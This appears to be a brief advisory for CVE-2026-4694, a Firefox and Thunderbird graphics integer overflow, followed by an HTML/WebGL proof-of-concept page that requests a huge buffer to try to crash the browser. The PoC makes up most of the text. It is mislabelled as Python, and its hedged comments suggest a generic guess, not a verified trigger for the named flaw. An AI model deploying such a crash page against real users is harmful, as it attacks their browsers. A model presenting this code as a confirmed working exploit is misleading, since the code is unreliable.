Incorrect boundary conditions, integer overflow in the Graphics component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-4694: Graphics Integer Overflow -->
<!-- This PoC attempts to trigger a crash in the graphics component by manipulating canvas/WebGL buffers. -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-4694 PoC</title></head>
<body>
<h1>CVE-2026-4694 Graphics Integer Overflow PoC</h1>
<canvas id="c" width="1000" height="1000"></canvas>
<script>
// Attempt to trigger overflow in canvas buffer allocation
var canvas = document.getElementById('c');
var gl = canvas.getContext('webgl');
if (gl) {
// Create a large buffer size that might trigger integer overflow in boundary checks
var size = 0x7FFFFFFF;
try {
var buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// This bufferData call may cause the overflow and crash
gl.bufferData(gl.ARRAY_BUFFER, size, gl.STATIC_DRAW);
console.log("Buffer created, checking for crash...");
} catch(e) {
console.log("Exception caught: " + e.message);
}
} else {
console.log("WebGL not supported");
}
</script>
</body>
</html>